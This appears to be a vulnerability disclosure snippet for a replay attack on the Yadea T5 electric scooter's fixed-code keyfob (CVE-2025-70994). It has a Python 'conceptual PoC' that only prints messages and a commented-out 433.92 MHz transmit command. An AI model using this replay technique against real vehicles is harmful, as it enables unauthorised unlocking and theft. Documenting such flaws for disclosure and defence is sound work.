CVE-2025-70994 雅迪T5电动车重放攻击漏洞

import time # Conceptual PoC for CVE-2025-70994 Replay Attack # This script simulates re-transmitting a captured EV1527 fixed code signal. # Requires hardware like Raspberry Pi with RF transmitter or SDR. def replay_signal(captured_hex_code): """ Simulates transmitting the captured signal to the vehicle. """ print(f"[*] Preparing replay attack with payload: {captured_hex_code}") # In a real scenario, this would interface with GPIO or a tool like rpitx # Example: system("./transmit -e -p {} -f 433920000".format(captured_hex_code)) for i in range(3): print(f"[*] Transmitting burst {i+1}/3...") # Logic to send the raw RF signal via hardware time.sleep(0.1) print("[+] Replay attack completed. Vehicle should now be unlocked.") # Example captured fixed code from a Yadea T5 keyfob # This is a placeholder value for demonstration captured_payload = "0xAABBCCDD" if __name__ == "__main__": replay_signal(captured_payload)